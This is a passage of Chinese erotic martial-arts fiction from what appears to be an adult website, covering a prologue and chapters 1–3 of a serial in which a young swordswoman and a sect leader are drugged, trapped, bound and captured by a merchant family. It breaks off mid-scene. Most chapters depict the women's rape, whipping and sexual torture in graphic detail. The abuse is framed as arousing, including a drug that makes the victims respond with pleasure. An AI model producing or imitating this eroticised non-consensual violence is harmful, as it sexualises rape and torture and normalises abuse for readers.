未满18岁请离开,合理看片健康生活
★本站公告★:合理安排时间看片,享受健康生活。发任意邮件到Lsese318@outlook.com获取最新地址。

受辱侠女1-20

【受辱侠女】(序章,第1-20章)润色完整版 作者:安娜卡列妮娜

【受辱侠女】润色完整版
                     
                    作者:安娜卡列妮娜

---------------------------------------------------
                   序章  卖艺

  正是阳春三月,江淮绿意盎然,一骑白衣白马在林荫小道上向东驰去。骑者身
形窈窕,俏面上覆着黑纱遮尘,露出一对晶莹的美目,姿态轻盈美妙,后背携着宝剑,
竟是位会武的年轻女郎。

    过了小道,便驰入一个镇子,白衣女郎见镇上人多,怕冲撞了行人,便下马牵着
缰绳,在街上缓步而行。来到一处商舖门口,向闲人打听路程,得知此处是淮州府辖
白龙镇,若再要向东,便要翻过那座白龙山去。

    白衣女郎寻思,此时天已将暮,夜间山路难行,不如在镇上觅一处精洁的客栈打
尖入宿。正往前走着,却见十字路口围着一圈人,听动静,似是有人卖艺。白衣女郎
此番初涉江湖,见到热闹,也有些新鲜好奇。但路口瞧热闹得人甚多,视线被阻,她心
念一动,翻身上马,骑在马背上望去,此时她远高过路人,自然是看得比旁人都清楚。

    原来里头是两位年轻姑娘正在表演,二女一个穿红裙,一个着黑衫,身姿柔软,
正表演柔术。两位姑娘面目身材俊俏得惊人,又将身子扭到极处,模样十分绮丽,看
得观众不断叫好。白衣女郎自付平时练武也会伸展筋骨韧带,双腿一字打开倒是能
行,但软不到她们这般程度,一时也瞧得入神。

    那红裙姑娘俯着双手撑在一只木凳上,后仰弯腰,一双长腿从背后绕到前头,用
脚背托着自己的下巴。黑衫姑娘便取了个布袋,向众人行礼索钱。白衣女郎在人群
外摸出三钱碎银,运起了暗器手法,轻轻将碎银远远的投入布袋。

    黑衫姑娘见竟有人远远投来银子,向她看去,微微一笑,以示谢意。忽听身后伙
伴一声惊呼,转身看去,却是四个泼皮,一人握住红裙姑娘的双足,另一人握住双腕,
第三人却将手在她双腿间抚摸起来,第四个又伸手在她胸口握弄着。红衣女郎被他
们这幺一捉弄,顿时只能保持着后仰倒极点的姿势,任凭那泼皮调戏,一张俏脸涨得
通红。

    黑衣姑娘见她受辱,丢下钱袋,上去相帮,四个泼皮却是嘻嘻哈哈,一边躲闪,一
边在红衣姑娘身上加劲揉摸,黑衫姑娘心里着急,一个不慎,被他们抱住,脸上胸口
也被那伙泼皮摸了几下。旁边诸多观众,却在一旁指指点点的看热闹,并无一人上
前相帮。更有人趁着他们闹腾,乘机捡了钱袋溜走,刚想跑路,忽觉手上一轻,钱袋
已被一位白衣女子伸手夺去。

    白衣女郎早在马上瞧得心生恼意,她轻功甚佳,一个纵身跃下白马,夹手将钱袋
夺回,又纵上前去,将两个正在握住红裙姑娘手脚的泼皮踢倒。另两个正在和黑衫
艺人嬉戏的泼皮,见白衣女郎来搅好事,「咦」了一声,鬆开手上的俘虏,向她逼去。

    白衣女郎见这二人成犄角之阵,看架势也是练武之人,当下不敢怠慢,使出本
门所学,与两个泼皮斗在一处。三人在街头斗了一阵,围观的人越来越多。一旁酒
楼上的两位青衣的美貌少年却瞧得秀眉皱起。其中一人轻声道:「白师妹,这白衣
小妹明明武功比这两个泼皮要高,不知为何却纠缠了这幺许久。」

    那姓白的美少年轻声道:「以宫主的眼力,这两个泼皮自然是浑身破绽。我瞧
这姑娘虽是身怀武艺,但却不怎幺会打架。」那宫主道:「有劳师妹去帮一下忙。」
姓白的美少年点点头,手上便捏起两枚铜钱。

    两个泼皮正缠斗得暗自叫苦,几番遇险,都是急中生智,使些下流招数逼退了白
衣女郎,忽然二人脑袋一晕,身子便不听使唤,倒在地上。白衣女郎正自被他们搅得
烦恼,忽见对手自己倒地,也是莫名其妙,上去用脚拨弄二汉,见他们脑门上各有个红
印,心知定有高人相助,眼睛向周围扫了一圈,却也不知是谁。

    围观众人见有人倒地,当即一哄而散,被踢倒得两个泼皮挣扎着起来扶住这两个
被铜钱打晕的同伴,也往巷子里遁去。红裙和黑衫两位女艺人见驱走了歹人,上来与
白衣女侠见礼谢恩,互通了姓名,原来这是一对姐妹,红裙的是姐姐,名叫文雪兰,黑
衫的是妹妹,名叫文若兰。白衣女郎複姓上官,单名一个燕字。

    文家姐妹收拾了东西,想支钱谢她,上官燕哪里肯收,姐妹俩见她衣饰精美,气度
优雅,自然是瞧不上自家这点谢礼,便收起荷包,又极力相邀请她一顿晚膳。上官燕
初涉俗世,也拗不过她们,又见这对姐妹虽是流落江湖,却是出落得亭亭玉立,姿容
非凡,也有心结交,便随她们去了一间饭庄。

    上官燕知道姐妹俩囊中羞涩,便只点些蔬菜豆腐,铺在米饭上食用,也是方才一
番打斗,腹中确实饥饿,姐妹俩见她吃得香甜,心里高兴,与她攀谈起来。

    问道姐妹俩的身世,文雪兰便道:「不瞒恩人,安南府尹乃是家父,因被奸人诬陷,
一家都被被判了流刑,父母在路上病故,我寻机携妹妹半路逃走。在安南时,府里有
位女教习会瑜伽之术,能使身子健韧,我们自小也练习。只因身无长技,只好将这此
术拿出来献丑,可算是辱没先人了。」

    上官燕从小衣食无忧,听她们故事,却触动了另一番心境,长叹一声,又说了一会
儿闲话,便与二女告辞,分别时却悄悄将荷包里一大半碎银都留给了文家姐妹。文雪
兰发现了碎银追出去几条街,那里还能找到她人影,只得暂时收下。

    此时天已入暮,她一个年轻姑娘在街上走着,心里正想着如何用这些银钱安顿妹
妹和自己,忽然被人一把搂住腰扛到肩上。文雪兰心中大骇,挣扎了几下,只觉得扛她
的人身材魁梧,力气极大,半分也挣不脱,刚想要叫喊,又被那人塞了一条手巾在嘴里。


---------------------------
                          第一章  同宿

    上官燕给文家姐妹留下银钱后,自顾寻了间精洁的客栈入宿。少停隔壁留宿的
一位贵妇人来与她见礼。女侠虽不识她,也回了礼,那妇人笑道:「今日小姐大展身
手,教训了那几个登徒子,当真了不起。」上官燕忙道:「夫人缪讚了。」

    女侠入店时这妇人便瞥见她身影,虽是黑纱遮面,但瞧她细腰丰乳,显然是位美
人。此时抵近细看,她已除去面纱,露出一张绝顶标緻的面容。那贵妇见她肤若凝
脂,端庄文雅,端是个极品的人儿,心中暗喜,便极力相邀,请入自己客房。

    上官燕不想失了礼数,只得去她屋里陪坐。那妇人倒了杯香茶招待,一边陪她
说话。这中年贵妇姓柳,上官燕便称她柳嫂。不知不觉,一盏茶喝尽,女侠但觉
有些晕目眩,手足酥软,提不起劲来,便告辞回屋。

    柳嫂假意去扶她,却是引往自己床边。上官燕晕晕糊糊到了床边,再也支撑不
住,倒下便沈沈昏睡过去。见这美人晕倒在床上,柳嫂便与她宽衣解带,除裙脱袜,
扒得一丝不挂,一边取出白色的软丝绳,在手腕足裸处各自缠绕定,又勒住一对
硕大的玉兔,绳索拉紧,反捆住双手。上身绑定,下面两条雪白修长的玉腿拉开,
分别绑牢在两边床柱上。

  将这美貌女侠捆绑得性感无比,柳嫂拍着她丰满的屁股笑道:「你这天仙般
的人儿,如今也落在我手上,管叫你尝尝我的手段。」说罢取出一个小瓷瓶,倒
了些药在茶杯中,小心送到女侠的嘴里。

  原来这柳嫂是江州一府的丝绸商户,父母过世,下有两个兄弟。柳家姐弟三
人皆淫毒无比,最爱虐奸美女。柳府秘传一味迷药,无色无味,能使服用者昏睡。
又有一味春药,唤作缩阴飞乳,十分厉害。女子只需服用一次,身上便敏感无比,
倘若行房,全身都变做性器一般,快感数倍,任她行止端庄的女子,也变做个床
上的玩物。过往江州的美貌女子,若是被柳家盯上,被他们或骗或绑,落得个掳
进柳府里受辱的下场。

  柳家姐弟此番在海州进货,返回江州途中,俩个兄弟携家丁逛街,不想竟遇到
天姿国色的文家姐妹,正想绑回去销魂一番,那料到竟被一位白衣女郎搅了好事。
柳嫂当时远远瞧见了自家人在街上被她教训,那想到了夜里,这白衣女郎竟和自己
投宿在同一家客栈,当下定了毒计,药翻了上官燕。

    给这美人喂下缩阴飞乳后,再将两块白绸帕子叠好了,结结实实塞进她的小
嘴里,外面又用一条皮带勒住嘴巴,防她醒来后用舌头顶出帕子。束缚妥当后,
柳嫂便出去寻两位小弟。

  过了片刻,有两个中年汉子进屋,正是老大柳青和老二柳烟,见客厅里挂着
年轻女子的衣裙亵衣,便入卧房中观瞧,只见一个如花似玉的姑娘堵着嘴双腿大
张捆绑在床上,仔细瞧她,却不正是白天与自己相斗的哪位白衣女侠,不由得又惊
又喜,伸手在她的俏脸和脖子上抚摸,连连称讚柳嫂的手段。

    柳青一把捏住她的乳房笑道:「这小妞好大的奶子。」双手捏着两个乳头贪
婪的搓揉。柳烟一边抚摸着雪白修长的大腿,一边在小腹向下抚摸,把两片花瓣
拨开,将肉核捏在手指里搓揉起来。

  上官燕被两人玩弄得醒转过来,惊觉双手被反绑,双腿大开,身上正遭人淫
亵,扭动粉臀想摆脱,越是挣扎,那两人手上越是放肆,反倒像迎合他们玩弄似
的。定睛看去,两人脑门上红印虽是化作瘀痕,正是白天与自己相斗的两个泼皮。

    女侠心头小鹿乱撞,急得几欲昏过去,此时强定心神,思索脱身之计,也不知
为何身上敏感异常,乳头阴蒂都被抚摸得又硬又挺,快感的迅猛地在全身疾走,之
后全部彙集在心房里,在那里不停地肆虐。想要开口斥责,嘴里塞满了帕子,只能
发出些嗲声嗲气的娇声,逗得两人更加兴奋。

  柳青听她动静,骂道:「白天这般威风,晚上叫床也不过和妓女一般。」柳烟笑
道:「她叫得这般好听,这后面想是也痒了吧。」一只淫手早把阴户搓揉遍了,此
时另一只手又从大腿滑到屁股缝,用手指揉着菊穴,前面仍揉弄着她硬挺的阴蒂。
上官燕屁股摇摆挣扎,却哪里逃脱的掉。柳烟看的乐道:「还真够骚劲!」说着
话,手指用力,插进菊孔里面,前面又用手大力的揉捏着兴奋的阴蒂淫笑道:「如
何,爽不爽!让你再当女侠!」折磨得上官燕连声「呜呜」娇喘,娇躯绷紧,紧
锁秀眉,反绑在身后的双手张开又握紧。

  把玩一对玉球的老大见这绝色侠女绑成这般香豔模样,被兄弟用手指插弄着
后庭,阴蒂捏的高高涨起,听她堵住的小嘴里挣扎的声音,早按奈不住,脱了裤
子,挺着火热的肉棒直照她雪白的双乳间蹭将起来。

    柳烟见他如此着急,便道:「大哥真是性急。」说完自己也按奈不住,将这
美人屁股里的手指拔出,拦腰托起抱住,挺着火热的肉棍向菊孔里直塞。姑娘后
庭被插,急得粉臀乱扭,却被在胸前肆虐的老大一把压住,一手按住自己的阳具
直往粉嫩的阴户里塞去。

  女侠被绑成肉粽一般,哪里还能反抗,只由得两支坚硬火热的肉棍深入身体
蹂躏起来。缩阴飞乳的药力发作起来,上官燕身上敏感的出奇,被捆绑着手脚,
堵着嘴巴,屁股里两支坚挺的肉棒前插后耸,还被两人用手指拉扯乳头,蹂躏得
晕头转向。勉强拚力挣扎,在绳索中扭动着的身体更刺激了前后淫动着的两人,
一时惹来更加狂乱的抽插。

  三人正在床上淫乱,外面却有个声音道:「你们好兴致!」话音未落,一个
妇人走了进来,却正是柳嫂。老大道:「姐姐来了。」那妇人看三人肉戏模样
笑道:「这个不是我的客人幺?如何被你们这般招待?」女侠口不能言,只羞得
面色豔红。老二回道:「我和兄长来到房里,却见这骚货在床上挑逗我俩,我俩
耐不住,便只顾拿她来玩耍。」

  柳嫂来到床边,坐在上官燕身前,伸手拉扯她的乳头道:「你这淫妇,竟来
勾引我家小弟,这里翘成这样,想必是玩得高兴了,今日要好好责罚你才行。」说
罢揪住乳头来回撚动。

  上官燕被这婆娘反诬,敏感处又被她蹂躏着,又羞又急,不由得挣扎叫唤起
来,只是嘴里塞着帕子,却只能发出些让自己都脸红的声音,两兄弟听她声音,
把肉棒在她屁股里前后耸动得更加欢快。柳嫂放下了篮子,也笑咪咪的在一旁抚
摸女侠的大腿和乳房助情。上官燕青春年少,哪里品嚐过这等滋味,被三人肉
棒手脚一起招呼。体内的淫药发作起来,竟是羞耻的高潮了数回。

  直到这家人玩得心满意足,已是到了深夜。也不让她宽鬆,被三人搂抱抚摸
着睡觉。柳嫂一边和她亲热一边在耳边轻笑道:「今后日子长久,还有好多花样
要和你玩呢。」

  次日一早,果然又被三个色徒折磨发洩了一回。柳嫂用迷香将她熏晕了,兄
弟两人给女侠解去绑绳,抱在浴捅里洗去一身精液淫水,擦净玉体。洗漱妥当,
又将她堵上樱口,手脚扭到身后绑作个驷马倒攒蹄,还用帕子矇住一双美目,装
进一口垫了被缛的大木箱中。柳家人这套手段也是熟练异常,装箱完毕,便吩咐
俩个僕人将箱子抬上马车,一家人离店而去。

  柳家两辆马车一路向西往江州去,白天赶路,入暮投宿,一到客房里,便将
上官燕从木箱里抱到床上取乐。柳家两个僕人也加入肉战。如此夜夜春宵,走了
数日,已经快到江州。女侠想寻机脱身,无奈柳家人看管严密,竟是无计可施。


-------------------------------------
                        第二章  宫主


  这一日快到江州,柳嫂给当地一个大户带了货,要去送销。两个兄弟却口称乏
累,柳嫂知道二人在转甚幺脑筋,想必又是精谷上脑,要去客栈与那美人耍乐销魂。
便依了他们,寻到一家客栈。

    进了店门,正和小二啰?,却瞥见两位身着男装的绝美青衣少年正在大堂用
膳。这婆子早瞧出端倪,暗暗称奇,心道,这等货色平素要见一个都难,此时竟又遇
见两个,若是加上那对艺人,这一趟出门,竟是碰上了五位绝色美女,可惜自家只擒
得其中一个。

    柳嫂心中转动着念头,正打着她们主意。那两位青衣男装的姑娘也注意到了他
们三主两僕,还带了一口惹眼的大箱子。那箱子打造得甚是精緻,盖上还绘着一
朵莲花。此时店里虽然嘈杂,但青衣二女耳力极强,隐约听到箱子里似是有人,二女
对望一眼,甚是诧异,又看四个汉子面貌熟悉,其中两人额上瘀痕未除,正是本门的
暗器手法所创,登时认出来。

    青衣二女不动声色,用完素面,便回到房中。关上门后其中一位道:「白师妹,
你可瞧出毛病?」姓白的姑娘点头道:「待我去探探。」宫主道:「师妹可要小
心。」白姑娘道:「多谢宫主关心。」宫主道:「莫再叫我宫主啦,这般称呼,师
姐妹都生分了。」白姑娘轻轻笑道:「那就多谢师姐啦。」说完便开门出去。

    白姑娘来到院中,见四下无人,便纵身跃上房顶,坐在高楼的飞檐角上观察动静。
见那五人在两间雅阁里住下,隐约听到那婆子吩咐了几句,便带着其中一个僕人
出去雇了车单独赶路。

  又等了一会儿,白姑娘悄然来到雅阁屋顶,隐约听到隔壁一片浪声,正自疑惑
着,心想,这却又是什幺动静?翻身轻轻落下,悄悄潜到窗边捅了孔来观瞧。

    只见房里一张大床,三个大汉围在一个双手反绑的姑娘身边,只见这姑娘模
样极为标緻俊俏,正是那日在白龙镇上相助两位女艺人的白衣女侠。此刻她被剥得
一丝不挂,双手反绑,捆得双乳怒耸淫凸。前头一人的肉棒塞在她嘴里,后面两
个人又佔了屁股,两根粗大雄壮黑赤赤的肉棍在雪白的小腹尽头抽动着,一对丰
满而挺立的玉乳随着摆动而不停的跃动。

  女侠想是久被折磨,双腿竟能向两边拉成笔直一字,此时三人一上二下抱着
她头和屁股疯狂地抽插,几只手也不闲着,一边揉捏被怒棒所佔据的肉唇顶端的
阴蒂,一边疯狂地搓揉随身体跃动的硕大乳房。听得房中被伺候的男人欢声淫叫
和肉棒在湿漉漉在各个肉洞中抽插所发出的摩擦声,只把在窗外偷看的白姑娘瞧
得面红耳赤,心噗噗跳个不停,却又忍不住想多看几眼。

    宫主在屋里等了两柱香的功夫,忽见房门一开,白师妹红着脸进来,胸脯不断
起伏着,呼吸有些急促。宫主见她这般模样,便问道:「可是与人交手了?」白姑娘
摇摇头,定了定神,将所见大致和宫主说了。宫主听她回报,又惊又怒,问道:「师
妹如何不救她?」

    白姑娘回道:「我本想闯进屋教训淫徒,但想,若在此时动手,只恐店里闹
将起来传开了,坏了那位姑娘的声誉。只有再委屈她一阵,明日我们在路上寻个僻
静的所在,悄悄搭救她。」宫主寻思片刻,说道:「还是师妹所虑周全....师妹...
.」白姑娘兀自有些走神,听她一叫,方才答应,脑中却依然有些晕呼的,都是方才的
画面。

    次日一早,雅阁中的二主一僕又将那箱子抬出店,置在马车上赶路,一路西行。
青衣二女悄悄跟着,直到一处林子,四处无人,心想,正是救人的地方,当下催
马上前。

  柳氏兄弟只听后面马蹄声响,只当是过路人,那知却是两个青衣美少年催马
上来,拦住三人。柳青柳烟虽是吃惊,但见两个少年漂亮得不像男子,顿起轻薄之
心,笑道:「两位美人有何见教。」只听其中一位青衣少年道:「你们这伙淫贼,
速速下马受缚。」柳氏兄弟听她雌音袅袅,果然是位姑娘,心中大喜,又自付武艺
在身,当下一边笑道:「还是你受缚比较好看罢。」一边伸手去抓她。

    青衣女郎见他出手便是抓向自己胸口,脸上泛起红晕,素手格开。柳氏兄弟虽
然功夫也不弱,但被她这幺随手一格,手腕奇痛,心中大骇。老大柳青见机较快,见
对方出手如电,早知不妙,一声口哨,三人便拨马分路逃窜。

    二女见他们弃下马车,又是往三个方向跑路,便也不去追赶。先来马车边观
瞧,见到那口木箱正在车内,箱盖上了锁。二女用剑柄砸落了挂锁,打开一看,箱
子里有一名全身赤裸的姑娘,嘴巴被帕子牢牢塞着,眼睛也被矇住,手脚用白丝
绳捆绑成了驷马倒躜蹄。又看到她阴户和菊穴里还插着两支淫棒。

    宫主见她被束缚得可怜,气道:「哪有这般折磨人的!」白姑娘忙红着脸,上去
给她取下蒙眼和堵嘴的帕子,露出一张绝美的面容来,正是那位白衣女侠。她早
在箱中时便听到外面动静,她受辱多日,此刻获救,当真又喜又羞。宫主知她受了许
多委屈,将她抱住了抚摸脊背安慰。

    上官燕初时见她青衣男装,有些疑惑,此时听到她们说话,又闻到体香,知道她们
也是女子,便也不再羞涩。白姑娘见她赤身裸体,便让她们在此等待,纵马去寻附
近一所庄院卖了些女子衣裙帕袜来。

    上官燕一边穿衣着袜,一边和她们说话,知道原来宫主便是紫云宫的掌宫叶玉嫣,
白姑娘则是紫云宫左使白玉如。三女道尽缘由,白玉如听她说将往海州,但想她行李
尽失,受了多日淫辱,身子又有些虚弱,便道:「我护送上官女侠东行。」

    叶宫主听到师妹自荐,点头道:「如此甚好。」叶宫主要先回紫云宫,嘱咐了二
女几句,当下和二女道别,拔马西行。

    柳嫂去送完了货,径直回了江州。待到了府里闲坐了半日,正想着如何调教那白
衣女侠,便听到院里有动静,出房一看,原来是自家兄弟回来了。见到二人模样狼狈,
便问起缘由。柳青回道:「这下咱们可栽跟头啦,回来路上遇到硬手,武功远胜咱们,
将那美人都一併救走了。」柳嫂问道:「可知对方名号?」柳青道:「是俩个青衣
的姑娘,名号却是不及问她们,也亏我们跑得快了,倘若晚些,可就回不来啦。」

    柳嫂听他说青衣姑娘,想起昨日在店里见到的两位美貌少年,便细问起形容样貌,
一一对证,心里奇道,这一路尽逢怪事,这般年轻的姑娘,如何又有这等武功?当下言
语安抚了兄弟几句,但想到失去了那绝色的玩物,终觉不快,便吩咐备了软轿,上街去
散心。

    她去听了一阵戏,又在茶楼二层的雅阁里喝茶,隔着竹帘,忽然看到一个青影,她
心有所想,仔细看去,却正是昨日看见的青衣美少年,她孤身一人,只顾骑着马,缓步向前。
此时正值下午,街道上明亮,屋里阴暗,因此青衣女郎并未注意到她。柳嫂心中转着念头,
一边吩咐随从出去跟着这青衣女郎。

    紫云宫主和白左使上官燕分离后,走了半日行程,来到江州,此处乃是南北水旱
两路枢纽,甚是繁华。叶玉嫣途经此处,也是年轻人心性,进来瞧个热闹。她虽是一
派掌宫,终也还是个姑娘,在街上看见女子饰物店,有心替同门带上几件,便去挑选,
只看得眼花缭乱,不知不觉耗了许多时间。待出店时,已是夕阳西垂,便索性在城
西挑了家客栈打尖。

    柳嫂在茶馆里等下人回报,听说这青衣女子竟是住进了燕子坞,不由得大喜。原
来这间客栈是她柳家产业,房里设了捉人的歹毒机关。青衣女郎既是住进这家客栈,
任凭她有通天的手段,也只能乖乖受缚。

    叶玉嫣住进店里,待用完晚膳,掌柜的便亲自前来伺候,对她笑道:「这位小姐,
你原定那屋尚未除虫,房内多有跳蚤蝨子。小二无知,将客人领去那间秽室,敢请恕
罪。」叶宫主暗自奇怪,那间屋她也看过,也称得上是洁净,并无虫蚁。又想是那蝨
子不易察觉,终归是教人不舒服,便道:「既是如此,店里可还有乾净屋子?」掌柜
连声应道:「有,有!与小姐备了一间上房,请移尊步。」

    叶宫主随他去上房一瞧,原来是个独院的屋子,倒也称得上是雅緻安静。她虽是
瞧得满意,却想方才在饰品店里花去不少银钱,只怕盘缠不足,便笑道:「你这上房,
我怕住不起。」掌柜忙道:「这间上房送与小姐,只求宽恕我等怠慢之罪。」叶玉
嫣瞧他这般客气,也不再推辞,将行李移过来,便住进了上房。

    紫云宫主见这屋里甚是宽敞通风,又熏过香,床上儘是上等丝被,铺得又厚又软
的,试着往上一躺,当真舒服,心道,这上房果然奢华,若非是换房,自己定然是住不起。
当下沐浴梳洗后,便光着身子钻进丝被去享受。她奔波了一天,早有倦意,又兼之这
大床舒适,丝被裹在身上,犹如浑身被亲吻一般,因此睡得又香又甜。

    她正自酣睡,那想到这床上却有机关。待到起更时,正是人睡意最浓之时,有人
扳动机关,床板下支撑铁桿收起,床板便向下翻落。床下有一陷阱,悬着一个皮兜子,
四面皆是活套。若是有人掉在里面,四面的网套儿往下一拢,再也不能挣扎。

    晓是叶玉嫣武艺卓绝,待从睡梦中察觉身子向下跌落时,已是滑入陷阱,她心知
不妙,双腿一蹬,却不能碰到井壁,无从借力,只得凝神留意下面,待碰到物品,只觉得
落入一个绳袋中。绳上挂着铃铛,待她掉入挣扎,铃铛便响个不停。

    正自慌乱,忽然眼前一亮,有人点亮了油灯,原来这陷阱底下竟是一间地下囚室。
叶宫主这时想起自己入睡时赤身裸体,此时先遮住了自己私处,再向来人看去,不由
得又惊又怒,原来正是昨日和淫贼一伙的中年婆子,带了几个家丁,手提着棍棒皮鞭。

  柳婆领着几个家丁上去,不由分说,挥舞着皮鞭朝她娇躯上抽打。宫主被罗网
所困,根本无法闪躲,几鞭重重落在她娇躯上。柳嫂吩咐道:「这小母狗身手了得,
须好好的教训,杀杀她的威风!」

    一时间众人鞭如雨下,向叶宫主娇躯上招呼,抽得吊着猎物的网兜在空中陀
螺般旋转,宫主无法躲闪,只得运功拚力忍受。柳婆见得便宜,便提起一支长棍
在她光溜雪白的屁股下猛戳,只戳得她连声娇叱。

  众人虐打了半个石辰,眼看着束缚在罗网中的宫主没了反抗的力气,几个家
丁这才住手,将一副皮铐伸进网兜里反铐了她的双手,又在双脚上扣上皮铐,这
才放低绳索,将叶玉嫣从绳网里解出来。家丁又取一条长绳在手,搭在她粉颈上,
从两边反绕住香肩,将胳膊在身后绑紧,又在丰满高耸的胸前捆了起来。柳婆嘱
咐道:「这只小母狗厉害得紧,可要小心伺候!」

  看着被绳捆索绑,皮铐加身的叶玉嫣,众人淫笑起来。柳嫂上前捏住她的俏
脸吃吃笑道:「这上房可住得舒服?瞧你出落得如此雪白俊俏,又有几分傲骨,正
是个好玩物。」叶玉嫣挣扎甩开婆子捏着她下巴的手,叱道:「淫婆!」婆子揪
起她的头髮,正反开弓的抽了几个耳光,笑骂道:「没受过调教的母狗,需要好
好调教一番才懂规矩!」

  宫主被她打的眼前金星乱冒,她何时受过这样的侮辱,又气又急,手脚又被
绳索捆绑结实,却是挣扎不脱。「绑成这样我看你还怎幺充大侠,早晚变成一条
母狗!」柳嫂调笑着,揪住叶玉嫣的头髮,在她的俏脸上亲了一口,手已经伸到
胸口胡乱的揣摸起来。叶玉嫣又羞又急:「……你……你要做什幺?……唔……
住手!唔……快住手!」只听得一声轻笑,自己的乳头已经被她捏在手里。

  这婆子技巧娴熟,一只手揪着叶玉嫣的头髮,用舌头吮吸着她的耳朵,另一
只手则在她胸口熟练的抚弄,一对高耸的大肉球在众人面前被搓圆揉扁。粉色的乳
头在柳嫂的挑逗下已经完全膨胀,泛着诱人的光泽。柳嫂笑道:「我看你真是个
天生当玩物的料。」一边说着话,一边伸手抖动她胸前挺立着的肉球。那一对白
球立刻上下跳动起来,引得身边众人淫笑不断。


--------------------------------
                        第三章  柳府

  紫云宫主被柳嫂戏辱,又羞又怒,身体竟然控制不住的兴奋起来。越是挣扎
抗拒,乳头反而被捏揉得更加迅速的坚硬起来。她额头泌出了香汗,胸脯起伏着,
呼吸也急促起来,牙齿紧咬着嘴唇,儘量不让自己发出屈辱的呻吟。「美人儿好
象还没享受过这种滋味哦。」柳嫂说着话,另一只用手向下抚摸她的屁股和大腿,
将她阴户捂在手掌里玩弄着。

  看着这美人扭着腰艰难的忍耐,柳婆把她阴蒂也捏在指间揉弄起来,一边调
戏着道:「咦?!小母狗怎幺不叫了?你叫的大家好兴奋呢!」紫云宫主身体颤
抖着,柳婆感觉到手中的阴蒂乳头愈发的膨胀,一边加劲搓捏,一边向身后押着
她的庄丁使个眼色,身后的家丁伸出手来,手指顶在了雪白的屁股下面。叶玉嫣
只觉得有人在自己的屁股缝里来回涂抹摩擦着,然后停在了她的后庭处,那只粘
湿的手指开始在她的身体下面转动着试图塞进她的菊穴里面。

  叶玉嫣本能的向上抬身,但是绳索将她的双脚分别牢固的捆绑在大腿的根部
使她保持跪姿,一支手指已经塞入她的门。「……唔……住手!」女侠的身体在
绳索中无助的挣动着。那只塞进菊穴的手指来回转动着,女侠痛的死去活来,挣
扎着喊道:「淫贼,休要羞辱于我。」柳婆吩咐道:「封嘴!」家丁取过帕子团
成一团,就来捏宫主的嘴,将她的嘴塞了个结实,又用皮带勒住嘴巴在脑后绑紧。

  柳嫂笑道:「我们就是要羞辱你,你又能如何?」一边将紫云宫主的秘处和
乳房抚摸得更加用力。后面的家丁搅动手指,宫主嘴里塞着手帕,发出一声痛苦
的娇喘,娇躯被迫前倾,女人隐秘的部位展现出来,只见粉红色的菊穴正紧张的
闭合着,彷彿嘴巴一样吮吸着家丁插入其中的手指。

     柳嫂猛的快速捏揉着女侠高挺的乳头和阴蒂道:「这样就舒服了?还有
更爽的呢!」家丁拔出手指,又操起一只阳物状的皮棒,不由分说的插进菊穴。
叶玉嫣疼的浑身颤抖,塞着手帕的嘴里模糊不清的娇喘着。柳嫂让她菊穴里夹
着棍子,一边揉弄阴蒂,一边得意的道:「怎幺样?是不是知道要乖乖听话了?」

  后面被塞着粗大的淫具,宫主浑身颤抖,可阴蒂乳头偏偏在淫乱中更加的坚
挺膨胀。柳嫂笑道:「再来教一下你这母狗,怎幺给人磕头!」话音一落,菊穴
里塞着的棍子被柳嫂抓住,拽着露在菊孔外的一头向上抬起。叶玉嫣后庭被深深
插着,身不由己的弯下腰去。柳嫂将那支淫棒上抬,宫主的头终于在压迫下触到
了地面,雪白的屁股高高的撅起,插在菊穴的棍子笔直的向斜上方竖着。柳婆让
她保持着这个耻辱的姿势,然后从两腿间继续抚摸玩弄阴户。柳嫂吃吃笑道:
「小母狗学会怎幺磕头了?!」叶玉嫣「唔唔」娇喘着,菊穴处的疼痛和阴户上
传来的快感交织着让她有种晕眩的感觉。

  在一片淫笑声中,家丁将那淫具完全的插入紫云宫主的菊穴,并用淫具末端
的皮绳捆绑在腰上,将皮棒固定在她体内。柳婆笑道:「她就是用劲,想把这宝
贝拉屎一般拉出来,也做不到啦。」又把叶玉嫣的乳头用木夹紧紧夹住,用细绳
把木夹系到她腿上,用皮带套着勒住雪白细长的脖子,柳嫂拽动皮带,叶玉嫣只
得弯着腰撅着屁股往前迈小步,下体插入的淫棒肆虐着菊孔,乳头也一起被牵动,
几欲昏去。

    一伙人看着她扭着撅起的屁股前行,一个个肉棒高举。柳婆牵着宫主戏弄了
一阵,又取出一条帕子,将她的一对美目矇住,前面牵着皮带,后面家丁用鞭子
抽打着她撅起的屁股,慢慢步上台阶,往上房小院中的一辆马车押送过去。

  一路将这美貌的女郎折辱到府里,押入一间卧房,柳嫂将她脖子里勒着的皮
带系到床头,保持着撅屁股的姿势。早有人报知柳家兄弟,两个色徒上前来仔细
观瞧,大喜道:「嗳呀!此番可擒得这厉害的美人。」嘴上说话,手里却摸了上
来。一边在她身上乱摸,一边笑问道:「方才有什幺好戏?」

  柳嫂笑着将她雪白的屁股扒开,皮绳固定在裆部的刑具立刻显露出来。只见
一支淫棒被塞在丰满的屁股缝里,用皮绳栓在大腿和腰上,淫具却是尽根塞入,
只露了一点头在外面。柳青笑道:「果然有些意思。」伸手到前面扣指弹弄阴蒂。
叶玉嫣又羞又急,阴蒂却被他弹的兴奋起来。

  一边戏弄,一边把宫主反拉起双手,把项圈上的皮带系在床尾,蒙着眼堵着
嘴,用鞭子拷打,鞭落处,儘是腿根,臀部,乳房这些隐秘部位,只打的叶玉嫣
的翘着雪白的屁股乱扭不停。兄弟俩个边抽打边掏出自己的肉棒出来玩弄,一边
看着宫主挣扎着。柳家兄弟玩得脸红耳热,只顾折磨,一边抽打,一边在她乳房
大腿上搓揉。

     柳嫂明白兄弟心意,便将宫主塞嘴的帕巾都拉出来,又给她戴上一个强姦
嘴巴的口环。宫主小嘴被撑开,却是话也说不出来。柳青脱下裤子,将阳具放在
她俏脸上点着。宫主根本无法逃避,再加上屁股里被插着的淫具,稍有反抗便被
抬动棒子折磨,只得默默的闻着柳青肉棒的骚味。

  柳青见她屈从,更加猖狂,肉棒在她俏脸上蹭动起来,然后塞进宫主被口环
撑开的嘴里道:「今日便请你吃个饱,也算是回礼。」那肉棒在口中前后抽送,
柳烟将她后庭的皮棒拨弄着,一边道:「屁股也痒了吧!」两人一上一下折磨着
她,柳嫂便在一边拨弄她乳头上的木夹子,三人居然配合的甚是默契。宫主被他
们折磨着,阴蒂也涨挺起来,塞满肉棒的嘴里禁不住发出呻吟。一边柳烟笑道:
「这小妞的叫声真让人底下来劲。」握住她菊门的皮棒抽插起来。

  只见这如花似玉的尤物,手脚被牢牢捆住,撅起的屁股里插着支淫棒,阴户
